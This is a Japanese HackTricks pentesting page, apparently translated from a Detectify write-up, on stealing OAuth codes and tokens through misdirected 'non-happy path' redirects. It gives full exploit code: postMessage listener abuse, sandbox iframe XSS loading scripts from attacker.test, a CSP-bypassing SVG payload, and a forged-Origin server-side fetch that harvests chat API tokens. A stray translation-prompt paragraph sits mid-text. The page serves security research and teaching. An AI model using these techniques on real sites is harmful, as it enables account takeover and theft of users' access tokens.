hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md
2023-07-07 23:42:27 +00:00

47 KiB
Raw Blame History

OAuth - ハッピーパス、XSS、iframe、およびポストメッセージを使用してコードと状態の値を漏洩させる

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

このコンテンツは https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url から取得されました。

異なるOAuthダンスの説明

レスポンスタイプ

まず、OAuthダンスで使用できる異なるレスポンスタイプがあります。これらのレスポンスは、ユーザーとしてログインするためのトークンまたは必要な情報を付与します。

最も一般的な3つは次のとおりです。

  1. code + stateコードは、OAuthプロバイダーをサーバーサイドで呼び出してトークンを取得するために使用されます。 stateパラメータは、正しいユーザーが呼び出しを行っていることを検証するために使用されます。サーバーサイドの呼び出しを行う前に、OAuthクライアントは状態パラメータを検証する責任があります。
  2. id_token。 OAuthプロバイダーの公開証明書を使用して署名されたJSON Web Token **(JWT)**を使用して、提供されたアイデンティティが実際に主張されているものであることを検証します。
  3. token。 サービスプロバイダーのAPIで使用されるアクセストークンです。

レスポンスモード

OAuthダンスでウェブサイトにコードまたはトークンを提供するために使用できる異なるモードがあります。以下は最も一般的な4つです。

  1. Query。ウェブサイトにリダイレクトバックするためにクエリパラメータを送信します(https://example.com/callback?code=xxx&state=xxx)。 code+stateに使用されます。 コード1回だけ使用でき、コードを使用する場合はOAuthクライアントシークレットが必要です。
  2. このモードはトークンには推奨されていませんトークンは複数回使用できず、サーバーログなどに保存されるべきではありません。ほとんどのOAuthプロバイダーは、トークンではなくコードに対してこのモードをサポートしていません。例
  • Appleはresponse_mode=queryを使用します。
  • GoogleまたはFacebookはresponse_type=codeを使用します。
  1. Fragmentフラグメントリダイレクトを使用します(https://example.com/callback#access_token=xxx。このモードでは、URLのフラグメント部分はサーバーログに表示されず、JavaScriptを使用してクライアントサイドでのみアクセスできます。このレスポンスモードはトークンに使用されます。例
  • AppleとMicrosoftはresponse_mode=fragmentを使用します。
  • Google、Facebook、Atlassianなどはresponse_typeid_tokenまたはtokenを含めます。
  1. Webメッセージウェブサイトの固定されたオリジンにpostMessageを使用します:
    postMessage('{"access_token":"xxx"}','https://example.com')
    サポートされている場合、さまざまなレスポンスタイプによく使用できます。例:
  • Appleはresponse_mode=web_messageを使用します。
  • Googleはredirect_uri=storagerelay://...を使用します。
  • Facebookはredirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...を使用します。
  1. Form-post。有効なredirect_uriにフォームポストを使用し、ウェブサイトに通常のPOSTリクエストを送信します。これはコードとトークンに使用できます。例:
  • Appleはresponse_mode=form_postを使用します。
  • Google Sign-InGSIux_mode=redirect&login_uri=https://example.com/callbackを使用します。

stateを意図的に破壊する

OAuth仕様では、stateパラメータをresponse_type=codeと組み合わせて使用することを推奨しています。これにより、フローを開始したユーザーがOAuthダンス後にコードを使用するユーザーであることが確認されます。

ただし、stateの値が無効な場合codeは消費されません。なぜなら、最終的なウェブサイトが状態を検証する責任があるからです。つまり、攻撃者が有効なstateを持つ被害者にログインフローリンクを送信できれば、OAuthダンスは被害者に対して失敗し、codeはOAuthプロバイダーに送信されません。ただし、攻撃者がそれを取得できれば、コードは使用可能です。

  1. 攻撃者は「Xでサインイン」というウェブサイトでサインインフローを開始します。
  2. 攻撃者はstateの値を使用して、被害者がOAuthプロバイダーでサインインするためのリンクを構築しますが、

レスポンスタイプ/レスポンスモードの切り替え

OAuthダンスのレスポンスタイプまたはレスポンスモードを変更すると、コードやトークンがウェブサイトにどのように送信されるかが変わり、予期しない動作が発生することがあります。私はOAuthプロバイダーがウェブサイトがサポートするレスポンスタイプやモードを制限するオプションを持っているのを見たことがありません。そのため、OAuthプロバイダーによっては、ンハッピーパスに到達するために少なくとも2つ以上のレスポンスタイプを変更できることがよくあります。

また、複数のレスポンスタイプをリクエストすることも可能です。複数のレスポンスタイプがリクエストされた場合に、リダイレクトURIに値を提供する方法が説明されている仕様があります。

もし、リクエストでresponse_typeがクエリ文字列内で完全にエンコードされたデータの返却を要求する値のみを含む場合、この複数の値を持つresponse_typeに対するレスポンスの返却データは、クエリ文字列内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。

もし、リクエストでresponse_typeがフラグメント内で完全にエンコードされたデータの返却を要求する値を含む場合、この複数の値を持つresponse_typeに対するレスポンスの返却データは、フラグメント内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。

この仕様が正しく守られている場合、ウェブサイトにcodeパラメータを送信することができますが、同時にid_tokenも要求する場合、codeパラメータはクエリ文字列ではなくフラグメントの一部として送信されます。

Googleのサインインの場合、以下のことを意味します

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

次に、https://example.com/callback?code=xxx&state=yyy にリダイレクトされます。しかし、以下のような問題があります:

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

https://example.com/callback#code=xxx&state=yyy&id_token=zzz にリダイレクトされます。

同じ考え方は、Appleを使用する場合も適用されます。

https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

以下のURLにリダイレクトされますhttps://example.com/callback?code=xxx&state=yyy、ただし:

https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

あなたをhttps://example.com/callback#code=xxx&state=yyy&id_token=zzzにリダイレクトします。

ハッピーでないパス

研究の著者は、OAuth経由でユーザーがリダイレクトされる間違ったURLへのンハッピーなパスを呼びました。これは、クライアントにトークンと有効な状態+コードが提供された場合でも、期待されるページに到達しない場合、その情報は適切に消費されないため、攻撃者が「ノンハッピーなパス」からその情報を漏洩する方法を見つけると、アカウントを乗っ取ることができます。

デフォルトでは、OAuthフローは期待されるパスに到達しますが、いくつかの潜在的な設定ミスがあるかもしれません。これにより、攻撃者が特定の初期OAuthリクエストを作成し、ユーザーがログイン後にノンハッピーなパスに到達することができます。

リダイレクトURIの不一致

これらの「一般的な」設定ミスは、OAuth通信のリダイレクトURLで見つかりました。

仕様は厳密に、リダイレクトURLは定義されたURLと厳密に比較されるべきであり、ポートの変更以外の変更は許可されないことを示しています。しかし、一部のエンドポイントでは、いくつかの変更が許可されていました。

リダイレクトURIパスの追加

一部のOAuthプロバイダは、redirect_uriのパスに追加データを追加することを許可しています。これは、「リダイレクトURIの大文字小文字の変更」と同じように仕様を破っています。例えば、https://example.com/callbackのリダイレクトURIに対して、以下のように送信します

response_type=id_token&
redirect_uri=https://example.com/callbackxxx

次に、https://example.com/callbackxxx#id_token へのリダイレクトが行われます。

Redirect-uriパラメータの追加

一部のOAuthプロバイダは、redirect_uri に追加のクエリまたはフラグメントパラメータを追加することを許可しています。これを利用して、URLに追加される同じパラメータを提供することで、非ハッピーパスをトリガーすることができます。たとえば、https://example.com/callback のリダイレクトURIを持つ場合、次のように送信します

response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26

次の場合、リダイレクトはhttps://example.com/callback?code=xxx&code=real-codeになります。ウェブサイトが同じ名前の複数のパラメータを受け取る場合、これは非ハッピーパスをトリガーする可能性もありますtokenid_tokenにも同じことが当てはまります。

response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26

リダイレクトURIの残り物や設定ミス

redirect_uri 値を含むすべてのサインインURLを収集する際に、他のリダイレクトURIの値も有効であるかどうかをテストすることもできます。テストしたウェブサイトの中で保存した125種類の異なるGoogleサインインフローのうち、5つのウェブサイトではスタートページも有効な redirect_uri として機能していました。例えば、使用されている redirect_uri=https://auth.example.com/callback の場合、これらの5つのケースでは以下のいずれかも有効でした

  • redirect_uri=https://example.com/
  • redirect_uri=https://example.com
  • redirect_uri=https://www.example.com/
  • redirect_uri=https://www.example.com

これは特に id_tokentoken を実際に使用しているウェブサイトにとって興味深いものでした。なぜなら、response_type=code の場合、OAuthプロバイダーはトークンを取得するOAuthダンスの最後のステップで redirect_uri を検証するからです。

ガジェット1弱いまたはオリジンチェックのないURLを漏洩させるpostMessageリスナー

この例では、トークン/コードが送信される最終的な非ハッピーパスで、location.hrefを漏洩させるポストリクエストメッセージが送信されています。
例えば、ウェブサイトにロードされている人気のあるサイトのアナリティクスSDKがありました

このSDKは、メッセージタイプが一致した場合に以下のメッセージを送信するpostMessageリスナーを公開していました

異なるオリジンからそれにメッセージを送信すると、

openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');

以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/ SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。


ウィンドウには、ウェブサイトのlocation.hrefを含むメッセージが表示されます。

攻撃に使用できるフローは、コードとトークンがサインインフローでどのように使用されるかに依存しますが、アイデアは次のとおりです。

攻撃

  1. 攻撃者は、OAuthダンスで非ハッピーパスになるように準備された作成済みのリンクを被害者に送信します。
  2. 被害者がリンクをクリックします。新しいタブが開き、攻撃対象のウェブサイトのOAuthプロバイダーの1つでサインインフローが表示されます。
  3. 攻撃対象のウェブサイトで非ハッピーパスがトリガーされ、脆弱なpostMessageリスナーがURL付きのままページに読み込まれます
  4. 攻撃者が送信した元のタブは、新しいタブに対して複数のpostMessageを送信し、postMessageリスナーが現在のURLを漏洩させるようにします。
  5. 攻撃者が送信した元のタブは、それに送信されたメッセージを受信します。URLがメッセージで返ってきたとき、コードとトークンが抽出され、攻撃者に送信されます。
  6. 攻撃者は、非ハッピーパスに到達したコードまたはトークンを使用して、被害者としてサインインします。

ガジェット2URLを取得するsandbox/third-partyドメイン上のXSS

ガジェット2例1、sandbox iframeからwindow.nameを盗む

これは、OAuthダンスが終了したページにiframeが読み込まれているものです。iframe名前は、window.locationオブジェクトのJSON文字列化バージョンでした。これは、iframe内のページが親によってwindow.nameを設定できる古い方法です。

i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)

iframeに読み込まれたドメインには、単純なXSSもありました:

https://examplesandbox.com/embed_iframe?src=javascript:alert(1)

攻撃

もし、あるドメインのウィンドウに XSS がある場合、そのウィンドウは同じオリジンの他のウィンドウにアクセスすることができます。これは、ウィンドウ間に親子/オープナーの関係がある場合に起こります。

これは、攻撃者がXSSを悪用して、クラフトされた OAuthリンクを読み込む新しいタブ を作成することができることを意味します。このリンクは、トークンを名前に持つiframeを読み込むパスで終わる ものです。その後、XSSが悪用されたページから、iframeの名前を読み取ることが可能になります。これは、iframeの親ページにオープナーがあるためです。そして、それを外部に漏洩させることができます。

具体的には以下の手順です:

  1. 悪意のあるページを作成し、XSSを含むsandboxのiframeを埋め込みます
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);"
style="border:0;width:500px;height:500px"></iframe></div>
  1. sandboxで読み込まれる私のスクリプトで、被害者に使用するリンクを置き換えます
document.body.innerHTML =
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';

また、リンクが開かれ、アタッカーのページ上のiframeにアクセスできるようになったかどうかを確認するためのスクリプトも開始しました。これは、アタッカーのページと同じオリジンを持つiframeの window.name を取得するためです。

x = setInterval(function() {
if(parent.window.b &&
parent.window.b.frames[0] &&
parent.window.b.frames[0].window &&
parent.window.b.frames[0].window.name) {
top.postMessage(parent.window.b.frames[0].window.name, '*');
parent.window.b.close();
clearInterval(x);
}
}, 500);
  1. 攻撃者のページは、window.name として送信したメッセージを受信するだけです:
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
}
});
</script>

ガジェット2: 例2、XSS + 親オリジンチェックを使用したiframe

2番目の例では、XSSを使用したiframeが ハッピーパスではないパス で読み込まれ、postMessageを使用してメッセージが許可されたのはparentウィンドウだけでした。initConfig を要求する際に、location.href がメッセージとしてiframeに送信されました。

メインウィンドウは、以下のようにiframeを読み込みました

<iframe src="https://challenge-iframe.example.com/"></iframe>

そして、コンテンツは次のようになりました(実際のものよりもはるかに簡略化されていますが、攻撃をより良く説明するためです):

<script>
window.addEventListener('message', function (e) {
if (e.source !== window.parent) {
// not a valid origin to send messages
return;
}
if (e.data.type === 'loadJs') {
loadScript(e.data.jsUrl);
} else if (e.data.type === 'initConfig') {
loadConfig(e.data.config);
}
});
</script>

攻撃

この場合、攻撃者はPost-message XSS脆弱性ページを含むiframeを読み込みXSSを悪用して任意のJSを読み込みます
このJSOAuthリンク開きます。ログイン後、最終ページにはURLにトークンが含まれ、iframeXSS post-message脆弱性iframeが読み込まれています。

その後、悪用されたXSSからの任意のJSには、そのタブへのオープナーがあり、それによってiframeにアクセスし、親にinitConfigトークンを含むURLを要求します。親ページはそれをiframeに渡し、それをリークするように指示します。

この場合、前の例と同様の方法を取ることができます:

  1. iframeが読み込まれたときにスクリプトをトリガーするために、マルウェアページsandboxのiframeを埋め込む
<div id="leak"><iframe
id="i" name="i"
src="https://challenge-iframe.example.com/"
onload="run()"
style="border:0;width:500px;height:500px"></iframe></div>
  1. マルウェアページがiframeの親であるため、postMessageXSSを使用してiframeにメッセージを送信し、sandboxのオリジンでスクリプトを読み込むようにします。
<script>
function run() {
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
}
</script>
  1. sandboxで読み込まれるスクリプトでは、コンテンツを被害者のリンクに置き換えます
document.body.innerHTML = '<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';

また、リンクが開かれ、アクセスしたいiframeが存在するかどうかを定期的にチェックするスクリプトを開始し、iframeからメインウィンドウに対してJavaScriptを実行するためのpostMessageリスナーをアタッチしました。

x = setInterval(function() {
if(b && b.frames[1]) {
b.frames[1].eval(
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
'top.postMessage({type:'initConfig'},"*")'
)
clearInterval(x)
}
}, 500);
  1. iframeを読み込んだ攻撃者ページは、メインウィンドウのiframe内の注入されたpostMessageリスナープロキシから送信されたメッセージを受信できます。
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
}
});
</script>

ガジェット3APIを使用して範囲外のURLを取得する

このガジェットは最も楽しいものでした。被害者をどこかに送り、異なる場所から機密データを取得することは何か満足感があります。

ガジェット3例1、オリジンチェックのないストレージiframe

最初の例では、トラッキングデータのために外部サービスを使用しました。このサービスは「ストレージiframe」を追加しました

<iframe
id="tracking"
name="tracking"
src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>

メインウィンドウは、postMessageを使用してこのiframeと通信し、追跡データを送信します。このデータは、storage.htmlが配置されているオリジンのlocalStorageに保存されます。

tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');

メインウィンドウもこのコンテンツを取得できます:

tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');

初期化時にiframeがロードされると、location.hrefを使用してユーザーの最後の位置のためのキーが保存されました。

tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');

もしもこの元の場所と何らかの方法で通信でき、コンテンツを送信させることができれば、このストレージからlocation.hrefを取得することができます。サービスのpostMessageリスナーには、オリジンのブロックリストと許可リストがありました。アナリティクスサービスは、ウェブサイトがどのオリジンを許可または拒否するかを定義することができるようです。

var blockList = [];
var allowList = [];
var syncListeners = [];

window.addEventListener('message', function(e) {
// If there's a blockList, check if origin is there and if so, deny
if (blockList && blockList.indexOf(e.origin) !== -1) {
return;
}
// If there's an allowList, check if origin is there, else deny
if (allowList && allowList.indexOf(e.origin) == -1) {
return;
}
// Only parent can talk to it
if (e.source !== window.parent) {
return;
}
handleMessage(e);
});

function handleMessage(e) {
if (data.type === 'sync') {
syncListeners.push({source: e.source, origin: e.origin})
} else {
...
}

window.addEventListener('storage', function(e) {
for(var i = 0; i < syncListeners.length; i++) {
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
}
}

また、allowListに基づいた有効なオリジンがある場合、同期を要求することもできます。これにより、このウィンドウで行われたlocalStorageの変更が行われたときに、それらが送信されます。

攻撃

OAuthダンスの非ハッピーパスでこのストレージがロードされたウェブサイトでは、allowListオリジンが定義されていませんでした。したがって、オリジンがウィンドウのparentである場合、任意のオリジンがpostMessageリスナーと通信できるようになりました

  1. 悪意のあるページを作成し、ストレージコンテナのiframeを埋め込み、iframeの読み込み時にスクリプトをトリガーするonloadをアタッチしました。
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/storage.html"
onload="run()"></iframe></div>
  1. 悪意のあるページがiframeの親になったため、allowListにオリジンが定義されていないため、悪意のあるページはiframeにメッセージを送信してストレージにストレージの更新に関するメッセージを送信することができました。また、悪意のあるページにリスナーを追加して、ストレージからの同期更新を受け取ることもできました。
<script>
function run() {
i.postMessage({type:'sync'}, '*')
}
window.addEventListener('message', function (e) {
if (e.data && e.data.type === 'sync') {
document.getElementById('leak').innerText = 'トークンを盗みました:' + JSON.stringify(e.data);
}
});
</script>
  1. 悪意のあるページには、被害者がクリックするための通常のリンクも含まれていました。
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
target="_blank">ここをクリックしてトークンを乗っ取る</a>';
  1. 被害者はリンクをクリックし、OAuthダンスを経て、トラッキングスクリプトとストレージのiframeがロードされた非ハッピーパスに到達します。ストレージのiframeはlast-urlの更新を受け取ります。localStorageが更新されたため、悪意のあるページのiframe内でwindow.storageイベントがトリガーされ、ストレージが変更されるたびに更新を受け取るようになった悪意のあるページは、被害者の現在のURLを含むpostMessageを受け取ります。

ガジェット3例2、CDNでの顧客の混乱 - オリジンチェックのないDIYストレージSVG

解析サービス自体にバグバウンティがあったため、ストレージのiframeに適切なオリジンが設定されているウェブサイトでもURLを漏洩させる方法を見つけることに興味がありました。

顧客の部分を除いたcdn.analytics.example.comドメインをオンラインで検索し始めたところ、このCDNにはサービスの顧客がアップロードした画像も含まれていることに気付きました。

https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png

私もこのCDNでContent-type: image/svg+xmlとしてインラインで提供されているSVGファイルを見つけました。

https://cdn.analytics.example.com/img/customer54353/icon-register.svg

私はサービスのトライアルユーザーとして登録し、自分のアセットをアップロードしました。それはCDNにも表示されました。

https://cdn.analytics.example.com/img/customer94342/tiger.svg

興味深いのは、CDNのために顧客固有のサブドメインを使用した場合でも、画像が提供されることです。このURLは機能しました

https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg

これは、ID #94342の顧客が顧客 #12345 のストレージ内のSVGファイルをレンダリングできることを意味します。

私は、単純なXSSペイロードを持つSVGファイルをアップロードしました

https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>

素晴らしくありません。CDNはimg/以下のすべてにContent-Security-Policy: default-src 'self'ヘッダーを追加しました。また、サーバーヘッダーにはS3が言及されており、コンテンツがS3バケットにアップロードされたことが明らかになりました。

S3の興味深い特徴の1つは、ディレクトリが実際にはS3ではないということです。キーの前のパスは「プレフィックス」と呼ばれます。つまり、S3はURLエンコードされているかどうかに関係なく、URL内のすべてのスラッシュをURLエンコードすればコンテンツを提供します。URL内のimg/img%2fに変更すると、画像は引き続き解決されます。ただし、その場合、CSPヘッダーが削除され、XSSがトリガーされます。

その後、通常のstorage.htmlと同じ形式のストレージハンドラーとpostMessageリスナーを作成するSVGをアップロードしましたが、allowListは空です。これにより、ストレージと通信できる許可されたオリジンを適切に定義しているウェブサイトでも同じ種類の攻撃が可能になりました。

次のようなSVGをアップロードしました

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>

次に、例1と同じ手法を使用できますが、storage.htmlをiframe化する代わりに、URLエンコードされたスラッシュを含むSVGをiframe化することができます。

<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>

サイト自体はこれを修正することはできないため、代わりにCDNを担当するアナリティクスプロバイダーに報告しました

サードパーティの設定ミスバグを調査するアイデアは、トークンの漏洩を達成するための複数の方法があることを確認するためでした。サードパーティにはバグバウンティがあったため、これは同じ種類のバグの別の受信者にすぎませんでした。違いは、影響がアナリティクスサービスのすべての顧客に及ぶことです。この場合、サードパーティの顧客はツールを適切に設定してデータを漏洩させないようにする能力を実際に持っていました。ただし、機密データはサードパーティに送信されたため、顧客の適切なツールの設定を完全にバイパスする方法があるかどうかを確認することは興味深いものでした。

ガジェット3例3、チャットウィジェットAPI

最後の例は、ウェブサイトのすべてのページ、エラーページを含むチャットウィジェットに基づいています。複数のpostMessageリスナーがあり、そのうちの1つは適切なオリジンチェックなしでチャットポップアップを開始することができます。別のリスナーは、チャットウィジェットが初期化呼び出しと現在のユーザーに使用されるチャットAPIトークンを受け取るための厳格なオリジンチェックを持っていました。

<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'launch-chat') {
openChat();
}
});

function openChat() {
...
}

var chatApiToken;
window.addEventListener('message', function(e) {
if (e.origin === 'https://chat-widget.example.com') {
if (e.data.type === 'chat-widget') {
if (e.data.key === 'api-token') {
chatApiToken = e.data.value;
}
if(e.data.key === 'init') {
chatIsLoaded();
}
}
}
});

function chatIsLoaded() {
...
}
</script>

チャットのiframeが読み込まれた場合

  1. チャットウィジェットのlocalStorageにchat-api-tokenが存在する場合、それをapi-tokenとして親ウィンドウにpostMessageで送信します。chat-api-tokenが存在しない場合は何も送信しません。
  2. iframeが読み込まれたら、{"type": "chat-widget", "key": "init"}というpostMessageを親ウィンドウに送信します。

メインウィンドウでチャットアイコンをクリックした場合:

  1. すでにchat-api-tokenが送信されていない場合、チャットウィジェットは新しいトークンを作成し、自身のオリジンのlocalStorageに保存し、親ウィンドウにpostMessageで送信します。
  2. 親ウィンドウはチャットサービスにAPIコールを行います。APIエンドポイントは、サービスに設定された特定のウェブサイトに対してCORS制限があります。リクエストを送信するためには、有効なOriginヘッダをAPIコールに提供する必要があります。このヘッダには、chat-api-tokenも含まれます。
  3. メインウィンドウからのAPIコールには、location.hrefが含まれ、それが訪問者の「現在のページ」としてchat-api-tokenとともに登録されます。レスポンスには、チャットセッションを開始するためのウェブソケットに接続するためのトークンが含まれます。
{
"api_data": {
"current_page": "https://example.com/#access_token=test",
"socket_key": "xxxyyyzzz",
...
}
}

この例では、chat-api-tokenの公開は常にチャットウィジェットiframeの親に公開されることに気付きました。chat-api-tokenを取得した場合、ブラウザに対してのみCORSヘッダが重要であるため、サーバーサイドのリクエストでトークンを使用してサーバーサイドのリクエストを行い、自分自身の人工的なOriginヘッダをAPIコールに追加することができました。これにより、次のチェーンが生成されました

  1. チャットウィジェットのiframeを埋め込んだ悪意のあるページを作成し、chat-api-tokenを受け取るためのpostMessageリスナーを追加しました。また、2秒間にapi-tokenを受け取っていない場合にiframeをリロードするイベントをトリガーしました。これは、チャットを開始していない被害者もサポートするためであり、リモートでチャットを開始することができるため、まずはチャットapi-tokenが必要でした。
<div id="leak"><iframe
id="i" name="i"
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
<script>
var gotToken = false;
function reloadToCheck() {
if (gotToken) return;
setTimeout(function() {
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
}, 2000);
}
window.onmessage = function(e) {
if (e.data.key === 'api-token') {
gotToken = true;
lookInApi(e.data.value);
}
}
launchChatWindowByPostMessage();
</script>
  1. 悪意のあるページにリンクを追加し、URLにトークンが含まれるチャットウィジェットのページを開くためのサインインフローを開きます
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Click here to hijack token</a>
  1. launchChatWindowByPostMessage()関数は、メインウィンドウに対して継続的にpostMessageを送信し、チャットウィジェットを起動します
function launchChatWindowByPostMessage() {
var launch = setInterval(function() {
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
}, 500);
}
  1. 被害者がリンクをクリックしてエラーページに移動し、チャットが起動し、チャットapi-tokenが作成されます。悪意のあるページ上のチャットウィジェットのiframeのリロードにより、postMessageを介してapi-tokenを取得し、その後、被害者の現在のURLをAPIで確認できます
function lookInApi(token) {
var look = setInterval(function() {
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
if (e &&
e.api_data &&
e.api_data.current_url &&
e.api_data.current_url.indexOf('access_token') !== -1) {
var payload = e.api_data.current_url
document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload;
clearInterval(look);
}
});
}, 2000);
}
  1. https://fetch-server-side.attacker.test/?token=xxxのサーバーサイドページは、追加されたOriginヘッダを使用してAPIコールを行い、Chat-APIが正当なオリジンとして使用していると思わせます
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function getDataFromChatApi(token) {
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
}
function handleRequest(request) {
const token = request.url.match('token=([^&#]+)')[1] || null;
return token ? getDataFromChatApi(token) : null;
}
  1. 被害者がリンクをクリックしてOAuthダンスを経てトークンが追加されたエラーページに移動すると、チャットウィジェットが突然表示され、現在のURLが登録され、攻撃者は被害者のアクセストークンを取得します。

URLを漏洩させるための他のアイデア

まだ見つかっていないさまざまなタイプのガジェットが存在します。以下は、利用可能なレスポンスモードを使用してURLを漏洩させる可能性のあるケースの一つです。

任意のpostMessageをオープナーにルーティングするドメイン上のページ

すべてのweb_messageレスポンスタイプは、オリジンのパスを検証できないため、有効なドメイン上の任意のURLはトークンを含むpostMessageを受け取ることができます。ドメイン上のいずれかのページにpostMessageリスナープロキシが存在し、それが送信されたメッセージを受け取り、すべてをopenerに送信する場合、ダブルウィンドウ.openチェーンを作成できます

攻撃者のページ1

<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>

攻撃者のページ2

<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>

そして、https://example.com/postmessage-proxy には次のようなものがあるでしょう:

// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }

OAuthプロバイダからトークンをhttps://example.comの正当なオリジンに送信するために、web_message-responseモードのいずれかを使用することができますが、エンドポイントはトークンをさらにopenerに送信します。これは攻撃者のページです。

このフローは不可能に思えるかもしれませんし、2回のクリックが必要です。1回目は攻撃者とウェブサイトの間にopener関係を作成し、2回目はOAuthフローを起動し、正当なウェブサイトをOAuthポップアップのopenerとして持つことです。

OAuthプロバイダはトークンを正当なオリジンに送信します

そして、正当なオリジンにはopenerへのpostMessageプロキシがあります

これにより、攻撃者がトークンを取得します:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥